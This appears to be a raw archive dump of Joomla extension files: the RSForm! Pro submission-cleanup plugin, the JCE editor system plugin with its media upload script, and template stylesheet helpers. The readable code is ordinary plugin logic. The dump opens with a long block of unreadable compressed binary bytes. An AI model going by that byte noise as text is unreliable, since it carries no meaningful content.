f0��2��v�{�*�x���G���M�[�p��[��ﱗ�H>l�벗�U��Ed�{�����L��W�ü��U" ��o3��k�8�x!j�h�Ǭ��P��L��«���EqU��٧%:�����m�W���j�sr�C�����H��y9c��S�!P��eX�}���^楝˽:Mv�WxE�
	�^$�W��"�>U.��ڮ�XC�ȅ��k���<)׋�Y�Q0cS���
3��|�d�0C����o�\^��0�6��gߘ�
/�2+tFU��>��b�h1<n"tFN<�Q=�}m< �U[��g��!_	�%?����R�:[�Q�&j�V:?��Τ�祚�*��c~L]��jJgAw<-�e������ST�˟d�_��������Z�桢2j=+�=�Mt;�|e��
��ד�#�y/�^9�t��-����{ieLV��X�\�Y�جz�6�����_����U���+��>��5�����H�ǯW?~?���
	�q����{�5��G�yݛơ~�*�#*e<���BZ���J�F��?���~���U������d��~	�ܒ�q8^�!���
�����"����$[���-YGݏ�F����1齒Ńy)�E�;�%�û�oɅ��g�U�]&�rR��n��F�軌s���s7ɝƹ����3,��@T��T��=7�tenHqe-�=&��M3.������W ��CǍ�(:5H|�o��M�w��K��g!�}@q�\AqA���
��1)�M[�y.���Lm���R���*��#{%:o����[pܐ�1҃�6W`����/�Ag�)댴lټ���<����"=c��k�L�h٢������G\�'O��9��<G�+�y3lH�<mu��0?д[����
���p,(;$��t�q�,oX�lwng��C�.3�Ͼj��mZ��Y!�[����^���6�{�@�v��DdI	þ,=��>R�q(H��_���U�����mU�v�Ha���
��b���z;�EAdq򞜐>-i�C@�[׋c��tG��V�P*���NW��)��7$$�X����뷮_��7���ɖ҇�z��ڼtZ޸Ϳx��Eux��g����J���%��!�tt��� ������@*��*ls�(S`c��!��S�鰫�n�p�z��[{�=�ՇY���yAVe�f���:�)��яn2R��,��F�Tƒ��6+�ָ�#�d�Dx`����V,�7r�<��`H��LA@7��_+��q��k�p�F�l:ĞVR�u.2�G��O�}��E����W��h�G�P��?���!/�n��`�u���v��[$[�"��޽��N��ܖ�p̒�D��@�l��h��:\�_�-c�.�Bp�Aw���Mm��"�x��Gn�	�Ã,�q�:�D��ԉ�I���x	nO��*�P�}c���`]�'R��\ij%&�p��[�\	>�[��,*	�ٚ�)�[c�-��#s�$j�X�6���#ylm�Q�3�蒳���إ3o�퇵���_��w���ew������Glw�KݱL�N��[�a·Vᡸ���Cv	�>�lLdLyM
��jάy��ĄJ�v�ݽ��^�ލ�w˳bwԽ�z��kE�U&T�
�⸇F�T��� �C��U��6���Fv�(޾��/�5��M�ńZM�-�}���q���si�O�~���n|�D�HO��:#BߝQ�����t�	����̈́w�;bw0��7�5�{�C���(�͢lG��X��F,-�sS�Q͏W�Q|/
���i�ʠyo�|��ٖ��$����l@��f���ؑ��}��lO�-*
��	��}��}�bC��0� ������e�WپO��A?8iŏ$�{PW�����pn\�	���kR�g��quu3ѼсN��k��Q{�ڕj�}M�ū�M��m��Sﰥ�6�m�-븭}�����m뛷�����ێ}���ptl���u��b1���{���L��L#���ߊK[��6����Cm��;��R�[�]j�V{���~R�j?����Q���Ϫ}D�cj?���j���	�_T���/���ڧ�~M�3j�U��گ����o�����~G�ڗ�~W�+j���jh~ʜ�L�jXX�R�3LÙ]�1�I$�<c��L7)螷��3Nd	guy��_�.��ty|-{	��.O�L�c���:�)Jٶ���K[%g�Rp�: �08��U�(�G%-h���Q�W�4JZ�(�� ���35 ���n$p��;�<��)0����^��]�����ǿ>Pل�7!}�9!}�9���L��$l�/&)3�/!��)"�/7S/%�0G�Xi�	�Xe��Xmf���}��)2�QD����̯@t
1�v8�N���Y#�{f��S��}�B�;EY�3�N^��N�t��?H�<H�A�tq<���O.)�B�V�EN��K-����՚-��j���eK""m�:�ْ
\jIG�H�ZK:)qj`L�%�&9
-�H�)��f�Y,���b�7G���3]���x�O!�4�(���}�ݙ�*������r�B{�B<;f0>��J�q��e
�r�?��7!�\�����9�S3Tto����*��{G�^�bx�5��1و�a�ni��c����h5�l�e��R'���W�+��I) CZʈ�R,W|2��%Tu�Ѿ�d\�i�S�?�v6[{>���;g�&_���'D7�Kci��ƃΜ�\�P�����̎N�:{��zv*�� }6#��>;>������B��;O�m�;�ug��Y�;�5V3ȧܰ���6{�޶�v�Nӎ�Ut����$�{%�:��Y8N�Ɓ�Z��Mk�H�jQ�9�7�L�z-Z��E;���hQ�a��=m@��pO{پ}��۾��Q����oE�La����-З�]
<e�
����(�L���0�a&��%)��rL|8�*D2���Z�Z�QTu���Q�N	lI�P��
�*⬪�k�Ue_���*���(jL�ӑ�3���Q��q���.�a5R�f�-0�����zs��-��K���X�ˉ�r�2N�%'�δ{킚�7n��G��3�u2�vG�T��Ofz8Q{�_U�o&��3���=���@�҂���
�*�6;���I��M�G�y�G@�����`0ş2�=�#AW9!"o�ٜ�J/�=�2�k����'��/f�f��2k��ih���r��Χ	�-����>%$�� ����Tj��E�����t�Y���π�$�Gс?GK�l�Y�:�o����}I���'�]�y�w�y�� C~I�_���AU���]�{l߂oN�U�}k����H�ܦ�`�
`Ƀ���G40����ҟH��vP��TJ;���QGQ�s��� )>�,1ĝ����+���H��j����o���[m�?�~�p�yK�%��3�p���k�X�W��cv;�/q@vU���ߖ�U��Q��Uu�'ɢE�l�g�.չ��b�ſ��f�Uy�לR��f��#7"�s:�t��$;S��}5��"��p����_"���)ij=�Y���I|�8��8W�\m��I�1�5$��Z�+�s%�uƹn��L�<G��^�L��+���,\�U��@��;���?���PK�(]�#o,,)system/rsformdeletesubmissions/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]W�ާ��:system/rsformdeletesubmissions/rsformdeletesubmissions.phpnu�[���<?php
/**
 * @package RSForm! Pro
 * @copyright (C) 2007-2019 www.rsjoomla.com
 * @license GPL, http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

/**
 * RSForm! Pro Delete Submissions System Plugin
 */
class plgSystemRsformdeletesubmissions extends JPlugin
{
    public function onAfterInitialise()
    {
        if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_rsform/helpers/rsform.php'))
        {
            return false;
        }

        require_once JPATH_ADMINISTRATOR . '/components/com_rsform/helpers/rsform.php';

        $now        = JFactory::getDate()->toUnix();
        $config     = RSFormProConfig::getInstance();
        $last_run   = $config->get('deleteafter.last_run', 0);
        $interval   = $config->get('deleteafter.interval', 10);
        
        if ($last_run + ($interval * 60) > $now)
        {
            return false;
        }

        $config->set('deleteafter.last_run', $now);

		$db = JFactory::getDbo();
		
		$query = $db->getQuery(true)
			->select($db->qn('FormId'))
			->select($db->qn('DeleteSubmissionsAfter'))
			->from($db->qn('#__rsform_forms'))
			->where($db->qn('DeleteSubmissionsAfter') . ' > ' . $db->q(0));
		
		if ($forms = $db->setQuery($query)->loadObjectList())
		{
			foreach ($forms as $form)
			{
				$date = JFactory::getDate()->modify("-{$form->DeleteSubmissionsAfter} days")->toSql();
				// Find all Submission IDs that need to get removed
				$query->clear()
					->select($db->qn('SubmissionId'))
					->from($db->qn('#__rsform_submissions'))
					->where($db->qn('FormId') . ' = ' . $db->q($form->FormId))
					->where($db->qn('DateSubmitted') . ' < ' . $db->q($date));
				
				if ($submissions = $db->setQuery($query)->loadColumn())
				{
                    require_once JPATH_ADMINISTRATOR . '/components/com_rsform/helpers/submissions.php';

                    RSFormProSubmissionsHelper::deleteSubmissions($submissions);
				}
			}
		}
    }

    public function onPreprocessMenuItems($context, &$items, $params = null, $enabled = true)
    {
        $user = JFactory::getUser();

        foreach ($items as $i => $item)
        {
            if ($item->element == 'com_rsform')
            {
                if (
                    ($item->title == 'COM_RSFORM_MANAGE_FORMS' && !$user->authorise('forms.manage', 'com_rsform')) ||
                    ($item->title == 'COM_RSFORM_MANAGE_SUBMISSIONS' && !$user->authorise('submissions.manage', 'com_rsform')) ||
                    ($item->title == 'COM_RSFORM_MANAGE_DIRECTORY_SUBMISSIONS' && !$user->authorise('directory.manage', 'com_rsform')) ||
                    ($item->title == 'COM_RSFORM_CONFIGURATION' && !$user->authorise('core.admin', 'com_rsform')) ||
                    ($item->title == 'COM_RSFORM_BACKUP_SCREEN' && !$user->authorise('backuprestore.manage', 'com_rsform')) ||
					($item->title == 'COM_RSFORM_RESTORE_SCREEN' && !$user->authorise('backuprestore.manage', 'com_rsform'))
                )
                {
                    unset($items[$i]);
                }
            }
        }
    }
}PK�(]�/�zz:system/rsformdeletesubmissions/rsformdeletesubmissions.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.7.0" type="plugin" group="system" method="upgrade">
	<name>System - RSForm! Pro Delete Submissions</name>
	<author>RSJoomla!</author>
	<creationDate>April 2018</creationDate>
	<copyright>(C) 2007-2019 www.rsjoomla.com</copyright>
	<license>GNU General Public License</license>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>www.rsjoomla.com</authorUrl>
	<version>1.0.0</version>
	<description><![CDATA[PLG_SYSTEM_RSFORMDELETESUBMISSIONS_DESC]]></description>

	<updateservers>
        <server type="extension" priority="1" name="System - RSForm! Pro Delete Submissions">https://www.rsjoomla.com/updates/com_rsform/Other/plg_rsformdeletesubmissions.xml</server>
    </updateservers>

	<files>
		<filename plugin="rsformdeletesubmissions">rsformdeletesubmissions.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language/en-GB">
		<language tag="en-GB">en-GB.plg_system_rsformdeletesubmissions.ini</language>
		<language tag="en-GB">en-GB.plg_system_rsformdeletesubmissions.sys.ini</language>
	</languages>
</extension>PK�(]�R��((system/jce/js/media.jsnu�[���/* jce - 2.9.38 | 2023-06-27 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($){function uid(){var i,guid=(new Date).getTime().toString(32);for(i=0;i<5;i++)guid+=Math.floor(65535*Math.random()).toString(32);return"wf_"+guid+(counter++).toString(32)}function parseUrl(url){var data={};return url?(url=url.substring(url.indexOf("?")+1),$.each(url.replace(/\+/g," ").split("&"),function(i,value){var val,param=value.split("="),key=decodeURIComponent(param[0]);2===param.length&&(val=decodeURIComponent(param[1]),"string"==typeof val&&val.length&&(data[key]=val))}),data):data}function upload(url,file){return new Promise(function(resolve,reject){var xhr=new XMLHttpRequest,formData=new FormData;xhr.upload&&(xhr.upload.onprogress=function(e){e.lengthComputable&&(file.loaded=Math.min(file.size,e.loaded))}),xhr.onreadystatechange=function(){4==xhr.readyState&&(200===xhr.status?resolve(xhr.responseText):reject(),file=formData=null)};var name=file.target_name||file.name;name=name.replace(/[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)\xa3\u20ac$~]/g,"");var args={method:"upload",id:uid(),inline:1,name:name},Joomla=window.Joomla||{};if(Joomla.getOptions){var token=Joomla.getOptions("csrf.token")||"";token&&(args[token]=1)}xhr.open("post",url,!0),xhr.setRequestHeader("X-Requested-With","XMLHttpRequest"),$.each(args,function(key,value){formData.append(key,value)}),formData.append("file",file),xhr.send(formData)})}function checkMimeType(file,filter){filter=filter.replace(/[^\w_,]/gi,"").toLowerCase();var map={images:"jpg,jpeg,png,apng,gif,webp",media:"avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mpeg,m4a,m4v,swf,dcr,rm,ra,ram,divx,mp4,ogv,ogg,webm,flv,f4v,mp3,ogg,wav,xap",html:"html,htm,txt",files:"doc,docx,dot,dotx,ppt,pps,pptx,ppsx,xls,xlsx,gif,jpeg,jpg,png,webp,apng,pdf,zip,tar,gz,swf,rar,mov,mp4,m4a,flv,mkv,webm,ogg,ogv,qt,wmv,asx,asf,avi,wav,mp3,aiff,oga,odt,odg,odp,ods,odf,rtf,txt,csv,htm,html"},mimes=map[filter]||filter;return new RegExp(".("+mimes.split(",").join("|")+")$","i").test(file.name)}function getModalURL(elm){var url="",$wrapper=$(elm).parents(".field-media-wrapper"),inst=$wrapper.data("fieldMedia")||$wrapper.get(0);return inst&&(url=inst.options?inst.options.url||"":inst.getAttribute("data-url")||inst.getAttribute("url")||""),url||$(elm).siblings("a.modal").attr("href")||""}function isAdmin(value){return value&&value.indexOf("/administrator/")!=-1}function getBasePath(elm){var path="",$wrapper=$(elm).parents(".field-media-wrapper"),inst=$wrapper.data("fieldMedia")||$wrapper.get(0);return inst&&(path=inst.options?inst.options.basepath||"":inst.basePath||""),path=path||$(elm).data("basepath")||"",path&&!isAdmin(path)&&isAdmin(document.location.href)&&(path+="administrator/"),path}function createElementMedia(elm,options){if(0!=$(elm).is("joomla-field-media, .wf-media-wrapper-custom")&&0!=$(elm).hasClass("wf-media-wrapper-custom")){var modalElement=$(".joomla-modal",elm).get(0);modalElement&&window.bootstrap&&window.bootstrap.Modal&&(Joomla.initialiseModal(modalElement,{isJoomla:!0}),$(".button-select",elm).on("click",function(e){e.preventDefault(),modalElement.open()})),$(".button-clear",elm).on("click",function(e){e.preventDefault(),$(".wf-media-input",elm).val("").trigger("change")}),$(".wf-media-input",elm).not(".wf-media-input-converted").on("change",function(){var path=Joomla.getOptions("system.paths",{}).root||"",src="";isImage(this.value)&&(src=path+"/"+this.value),$(".field-media-preview img",elm).attr("src",src)}).trigger("change")}}function updateMediaUrl(row,options,repeatable){$(row).find(".field-media-wrapper").add(row).each(function(){if($(this).find(".wf-media-input-upload").length&&!repeatable)return!0;var $inp=$(this).find(".field-media-input"),id=$inp.attr("id");if(!id)return!0;id=id.replace("rowX","row"+$(row).index()),createElementMedia(this,options),$(this).addClass("wf-media-wrapper");var dataUrl=$(this).data("url")||$(this).attr("url")||"",$linkBtn=$(this).find('a[href*="index.php?option=com_media"].modal.btn');$linkBtn.length&&!dataUrl&&(dataUrl=$linkBtn.attr("href")||"");var params=parseUrl(dataUrl),mediatype="images",plugin=params.plugin?params.plugin:"";params.mediatype?mediatype=params.mediatype:"files"==params.view&&(mediatype="files");var url=getBasePath($inp)+"index.php?option=com_jce&task=mediafield.display&plugin="+plugin+"&fieldid="+id+"&mediatype="+mediatype;if(options.context&&(url+="&context="+options.context),$(this).data("url")&&$(this).data("url",url),$(this).is("joomla-field-media, .wf-media-wrapper-custom")){$(this).attr("url",url);var ifrHtml=Joomla.sanitizeHtml('<iframe src="'+url+'" class="iframe" title="" width="100%" height="100%"></iframe>',{iframe:["src","class","title","width","height"]});$(this).find(".joomla-modal").attr("data-url",url).attr("data-iframe",ifrHtml)}$linkBtn.length&&$linkBtn.attr("href",url)})}function cleanInputValue(elm){var val=$(elm).val()||"";val.indexOf("#joomlaImage")!=-1&&(val=val.substring(0,val.indexOf("#")),$(elm).val(val).attr("value",val))}function isImage(value){return value&&/\.(jpg|jpeg|png|gif|svg|apng|webp)$/.test(value)}var counter=0;$.fn.WfMediaUpload=function(){return this.each(function(){function insertFile(value){var $wrapper=$(elm).parents(".field-media-wrapper"),inst=$wrapper.data("fieldMedia")||$wrapper.get(0);return inst&&inst.setValue?inst.setValue(value):$(elm).val(value).trigger("change"),!0}function uploadAndInsert(url,file){if(!file.name)return!1;var params=parseUrl(url),url=getBasePath(elm)+"index.php?option=com_jce",validParams=["task","context","plugin","filter","mediatype"],filter=params.filter||params.mediatype||"images";return checkMimeType(file,filter)?(params.task="plugin.rpc",$.each(params,function(key,value){$.inArray(key,validParams)===-1&&delete params[key]}),url+="&"+$.param(params),$(elm).prop("disabled",!0).addClass("wf-media-upload-busy"),void upload(url,file).then(function(response){$(elm).prop("disabled",!1).removeAttr("disabled").removeClass("wf-media-upload-busy");try{var o=JSON.parse(response),error="Unable to upload file";if($.isPlainObject(o)){o.error&&(error=o.error.message||error);var r=o.result;if(r){var files=r.files||[],item=files.length?files[0]:{};if(item.file)return insertFile(item.file)}}alert(error)}catch(e){alert("The server returned an invalid JSON response")}},function(){return $(elm).prop("disabled",!1).removeAttr("disabled").removeClass("wf-media-upload-busy"),!1})):(alert("The selected file is not supported."),!1)}var elm=this,url=getModalURL(elm);if(!url)return!1;var $uploadBtn=$('<a title="Upload" role="button" class="btn btn-outline-secondary wf-media-upload-button" aria-label="Upload"><i role="presentation" class="icon-upload"></i><input type="file" aria-hidden="true" /></a>');$('input[type="file"]',$uploadBtn).on("change",function(e){if(e.preventDefault(),this.files){var file=this.files[0];file&&uploadAndInsert(url,file)}});var $selectBtn=$(elm).parent().find(".button-select, .modal.btn");$uploadBtn.insertAfter($selectBtn),$(elm).on("drag dragstart dragend dragover dragenter dragleave drop",function(e){e.preventDefault(),e.stopPropagation()}).on("dragover dragenter",function(e){$(this).addClass("wf-media-upload-hover")}).on("dragleave",function(e){$(this).removeClass("wf-media-upload-hover")}).on("drop",function(e){var dataTransfer=e.originalEvent.dataTransfer;if(dataTransfer&&dataTransfer.files&&dataTransfer.files.length){var file=dataTransfer.files[0];file&&uploadAndInsert(url,file)}$(this).removeClass("wf-media-upload-hover")})})},$(document).ready(function($){function canProcessField(elm){return options.convert_mediafield||$(elm).find(".wf-media-input").length}var options=Joomla.getOptions("plg_system_jce",{});$("[data-wf-converted]").addClass("wf-media-input-converted"),$(".wf-media-input-converted").addClass("wf-media-input"),$(".wf-media-input").parents(".field-media-wrapper, .fc-field-value-properties-box").addClass("wf-media-wrapper"),options.convert_mediafield&&$(".field-media-wrapper, .fc-field-value-properties-box").not(".wf-media-wrapper").addClass("wf-media-wrapper").find(".field-media-input").addClass("wf-media-input wf-media-input-converted"),$(".wf-media-input").removeAttr("readonly"),$(".wf-media-input").parents(".subform-repeatable-group").each(function(i,row){updateMediaUrl(row,options,!0)}),$("joomla-field-media.wf-media-wrapper").each(function(){var field=this;if(field.inputElement){if($(this).find("input.wf-media-input-converted").length){updateMediaUrl(this,options,!0);var setValueFunction=field.setValue||function(){};return void(field.setValue=function(value,data){if(field.markValid){if(field.markValid(),value&&value.indexOf("://")===-1){var parts=value.split("/"),base=parts.shift();value+="#joomlaImage://local-"+base+"/"+parts.join("/"),data&&"object"==typeof data&&(value+="?width="+data.width+"&height="+data.height)}setValueFunction(value)}})}cleanInputValue(field.inputElement);var markValidFunction=field.markValid||function(){};field.markValid=function(){cleanInputValue(this.inputElement),field.querySelector('label[for="'+this.inputElement.id+'"]')&&markValidFunction.apply(this)},field.inputElement.addEventListener("change",function(e){e.stopImmediatePropagation(),cleanInputValue(this),field.querySelector('label[for="'+this.id+'"]')&&markValidFunction.apply(this),field.updatePreview(),$(document).trigger("t4:media-selected",{selectedUrl:field.basePath+this.value})},!0)}updateMediaUrl(this,options)}),$(".wf-media-wrapper-custom").each(function(){updateMediaUrl(this,options,!0)}),$(document).on("subform-row-add",function(evt,row){var originalEvent=evt.originalEvent;originalEvent&&originalEvent.detail&&(row=originalEvent.detail.row||row),canProcessField(row)&&(options.convert_mediafield&&$(row).find(".field-media-input").addClass("wf-media-input wf-media-input-converted"),$(row).find(".wf-media-input").removeAttr("readonly").addClass("wf-media-input-active"),updateMediaUrl(row,options,!0),$(row).find(".wf-media-input-upload").WfMediaUpload())}),$(".wf-media-input-upload").not('[name*="media-repeat"]').WfMediaUpload(),$(".wf-media-wrapper .modal-header h3").html("&nbsp;")})}(jQuery);PK�(]mP��$($(system/jce/jce.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2015 Ryan Demmer. All rights reserved
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;

/**
 * JCE.
 *
 * @since       2.5.5
 */
class PlgSystemJce extends CMSPlugin
{
    /**
     * Flag to set / check if media assests have been loaded
     *
     * @var boolean
     */
    private $mediaLoaded = false;
    
    public function onPlgSystemJceContentPrepareForm($form, $data)
    {
        return $this->onContentPrepareForm($form, $data);
    }

    private function getMediaRedirectOptions()
    {
        $app = Factory::getApplication();

        require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php';

        $id = $app->input->get('fieldid', '');
        $mediatype = $app->input->getVar('mediatype', $app->input->getVar('view', 'images'));
        $context = $app->input->getVar('context', '');
        $plugin = $app->input->getCmd('plugin', '');

        $options = WFBrowserHelper::getMediaFieldOptions(array(
            'element' => $id,
            'converted' => true,
            'mediatype' => $mediatype,
            'context' => $context,
            'plugin' => $plugin,
        ));

        if (empty($options['url'])) {
            return false;
        }

        return $options;
    }

    private function redirectMedia()
    {
        $options = $this->getMediaRedirectOptions();

        if ($options && isset($options['url'])) {
            Factory::getApplication()->redirect($options['url']);
        }
    }

    private function isEditorEnabled()
    {
        return ComponentHelper::isEnabled('com_jce') && PluginHelper::isEnabled('editors', 'jce');
    }

    private function canRedirectMedia()
    {
        $app = Factory::getApplication();
        $params = ComponentHelper::getParams('com_jce');

        // must have fieldid
        if (!$app->input->get('fieldid')) {
            return false;
        }

        // jce converted mediafield
        if ($app->input->getCmd('option') == 'com_jce' && $app->input->getCmd('task') == 'mediafield.display') {
            return true;
        }

        if ((bool) $params->get('replace_media_manager', 1) == true) {
            // flexi-content mediafield
            if ($app->input->getCmd('option') == 'com_media' && $app->input->getCmd('asset') == 'com_flexicontent') {
                return true;
            }
        }

        return false;
    }

    public function onAfterRoute()
    {
        if (false == $this->isEditorEnabled()) {
            return false;
        }

        if ($this->canRedirectMedia() && $this->isEditorEnabled()) {
            // redirect to file browser
            $this->redirectMedia();
        }
    }

    public function onAfterDispatch()
    {
        $app = Factory::getApplication();

        // only in "site"
        if ($app->getClientId() !== 0) {
            return;
        }

        $document = Factory::getDocument();

        // must be an html doctype
        if($document->getType() !== 'html') {
            return true;
        }

        // only if enabled
        if ((int) $this->params->get('column_styles', 1)) {
            $hash = md5_file(__DIR__ . '/css/content.css');
            $document->addStyleSheet(JURI::root(true) . '/plugins/system/jce/css/content.css?' . $hash);
        }
    }

    public function onWfContentPreview($context, &$article, &$params, $page)
    {
        $article->text = '<style type="text/css">@import url("' . JURI::root(true) . '/plugins/system/jce/css/content.css");</style>' . $article->text;
    }

    private function loadMediaFiles($form, $replace_media_manager = true)
    {
        if ($this->mediaLoaded) {
            return;
        }
        
        $app = Factory::getApplication();

        $option = $app->input->getCmd('option');
        $component = ComponentHelper::getComponent($option);

        $document = JFactory::getDocument();

        $document->addScriptOptions('plg_system_jce', array(
            'convert_mediafield' => $replace_media_manager,
            'context' => $component->id,
        ), true);

        $form->addFieldPath(JPATH_PLUGINS . '/fields/mediajce/fields');

        // Include jQuery
        HTMLHelper::_('jquery.framework');

        $document = JFactory::getDocument();
        $document->addScript(JURI::root(true) . '/plugins/system/jce/js/media.js', array('version' => 'auto'));
        $document->addStyleSheet(JURI::root(true) . '/plugins/system/jce/css/media.css', array('version' => 'auto'));

        $this->mediaLoaded = true;
    }

    public function onCustomFieldsPrepareDom($field, $fieldset, $form)
    {
        if ($field->type == 'mediajce') {
            $this->loadMediaFiles($form);
        }
    }

    /**
     * adds additional fields to the user editing form.
     *
     * @param JForm $form The form to be altered
     * @param mixed $data The associated data for the form
     *
     * @return bool
     *
     * @since   2.5.20
     */
    public function onContentPrepareForm($form, $data)
    {
        $app = Factory::getApplication();
        $docType = Factory::getDocument()->getType();

        // must be an html doctype
        if($docType !== 'html') {
            return true;
        }

        $version = new Joomla\CMS\Version();

        // Joomla 3.10 or later...
        if (!$version->isCompatible('3.9')) {
            return true;
        }

        if (!($form instanceof Form)) {
            $this->_subject->setError('JERROR_NOT_A_FORM');
            return false;
        }

        // editor not enabled
        if (false == $this->isEditorEnabled()) {
            return true;
        }

        // Get File Browser options
        $options = $this->getMediaRedirectOptions();

        // not enabled
        if (false == $options) {
            return true;
        }

        $params = ComponentHelper::getParams('com_jce');

        $hasMedia = false;
        $fields = $form->getFieldset();

        // should the Joomla Media field be converted?
        $replace_media_manager = (bool) $params->get('replace_media_manager', 1) && $options['converted'];

        foreach ($fields as $field) {
            if (method_exists($field, 'getAttribute') === false) {
                continue;
            }

            $name = $field->getAttribute('name');

            // avoid processing twice
            if ($form->getFieldAttribute($name, 'class') && strpos($form->getFieldAttribute($name, 'class'), 'wf-media-input') !== false) {
                continue;
            }

            $type = $field->getAttribute('type');

            if ($type) {
                // jce media field
                if (strtolower($type) == 'mediajce' || strtolower($type) == 'extendedmedia') {
                    $hasMedia = true;
                }

                // joomla media field and flexi-content converted media field
                if (strtolower($type) == 'media' || strtolower($type) == 'fcmedia') {

                    // media replacement disabled, skip...
                    if ($replace_media_manager == false) {
                        continue;
                    }

                    $group = (string) $field->group;
                    $form->setFieldAttribute($name, 'type', 'mediajce', $group);
                    $form->setFieldAttribute($name, 'converted', '1', $group);

                    // set converted attribute flag instead of class attribute (extension conflict?)
                    $form->setFieldAttribute($name, 'data-wf-converted', '1', $group);

                    $hasMedia = true;
                }
            }
        }

        // form has a media field
        if ($hasMedia) {
            $this->loadMediaFiles($form, $replace_media_manager);
        }

        return true;
    }

    public function onBeforeWfEditorLoad()
    {
        $items = glob(__DIR__ . '/templates/*.php');

        $app = Factory::getApplication();

        if (method_exists($app, 'getDispatcher')) {
            $dispatcher = Factory::getApplication()->getDispatcher();
        } else {
            $dispatcher = JEventDispatcher::getInstance();
        }

        foreach ($items as $item) {
            $name = basename($item, '.php');

            $className = 'WfTemplate' . ucfirst($name);

            require_once $item;

            if (class_exists($className)) {
                // Instantiate and register the event
                $plugin = new $className($dispatcher);

                if ($plugin instanceof \Joomla\CMS\Extension\PluginInterface) {
                    $plugin->registerListeners();
                }
            }
        }
    }

    public function onWfPluginInit($instance)
    {
        $app = Factory::getApplication();
        $user = Factory::getUser();

        // set mediatype values for Template Manager parameters
        if ($app->input->getCmd('plugin') == 'browser.templatemanager') {

            // only in "admin"
            if ($app->getClientId() !== 1) {
                return;
            }

            // restrict to admin with component manage access
            if (!$user->authorise('core.manage', 'com_jce')) {
                return false;
            }

            // check for element and standalone should indicate mediafield
            if ($app->input->getVar('element') && $app->input->getInt('standalone')) {
                $mediatype = $app->input->getVar('mediatype');

                if (!$mediatype) {
                    return false;
                }

                $accept = $instance->getParam('templatemanager.extensions', '');

                if ($accept) {
                    $instance->setFileTypes($accept);
                    $accept = $instance->getFileTypes();
                    $mediatype = implode(',', array_intersect(explode(',', $mediatype), $accept));
                }

                $instance->setFileTypes($mediatype);
            }
        }
    }
}
PK�(]��}�]]system/jce/jce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="system" method="upgrade">
  <name>plg_system_jce</name>
  <version>2.9.38</version>
  <creationDate>27-06-2023</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>PLG_SYSTEM_JCE_XML_DESCRIPTION</description>
  <files folder="plugins/system/jce">
    <file plugin="jce">jce.php</file>
    <folder>css</folder>
    <folder>js</folder>
    <folder>templates</folder>
  </files>
  <languages folder="administrator/language/en-GB">
    <language tag="en-GB">en-GB.plg_system_jce.ini</language>
    <language tag="en-GB">en-GB.plg_system_jce.sys.ini</language>
  </languages>

  <config>
    <fields name="params">
      <fieldset name="options">
        <field name="column_styles" type="radio" default="1" label="PLG_SYSTEM_JCE_COLUMN_STYLES_LABEL" description="PLG_SYSTEM_JCE_COLUMN_STYLES_DESC" class="btn-group btn-group-yesno">
          <option value="1">JYES</option>
          <option value="0">JNO</option>
        </field>
      </fieldset>
    </fields>
  </config>

</extension>
PK�(]L���system/jce/templates/sun.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateSun extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        $path = JPATH_SITE . '/templates/' . $template->name;

        if (!is_file($path . '/template.defines.php')) {
            return false;
        }

        // add bootstrap
        $files[] = 'plugins/system/jsntplframework/assets/3rd-party/bootstrap/css/bootstrap-frontend.min.css';

        // add base template.css file
        $files[] = 'templates/' . $template->name . '/css/template.css';

        $params = new JRegistry($template->params);
        $preset = $params->get('preset', '');

        $data = json_decode($preset);

        if ($data) {
            if (isset($data->templateColor)) {
                $files[] = 'templates/' . $template->name . '/css/color/' . $data->templateColor . '.css';
            }

            if (isset($data->fontStyle) && isset($data->fontStyle->style)) {
                $files[] = 'templates/' . $template->name . '/css/styles/' . $data->fontStyle->style . '.css';
            }
        }
    }
}PK�(]#P]3LL system/jce/templates/astroid.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

class WfTemplateAstroid extends JPlugin
{
    public function onWfGetTemplateStylesheets(&$files, $template)
    {                        
        // Joomla 4
        $path = JPATH_SITE . '/media/templates/site/' . $template->name;
            
        if (is_dir($path . '/astroid')) {
            $items = glob($path . '/css/compiled-*.css');

            foreach($items as $item) {
                $files[] = 'media/templates/site/' . $template->name . '/css/' . basename($item);
            }

            return true;
        }
        
        // Joomla 3
        $path = JPATH_SITE . '/templates/' . $template->name;

        if (is_dir($path . '/astroid')) {
            $items = glob($path . '/css/compiled-*.css');

            foreach($items as $item) {
                // add compiled css file
                $files[] = 'templates/' . $template->name . '/css/' . basename($item);
            }
        }
    }
}PK�(]���ˤ�system/jce/templates/core.phpnu�[���<?php

/**
 * @copyright   Copyright (C) 2021 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

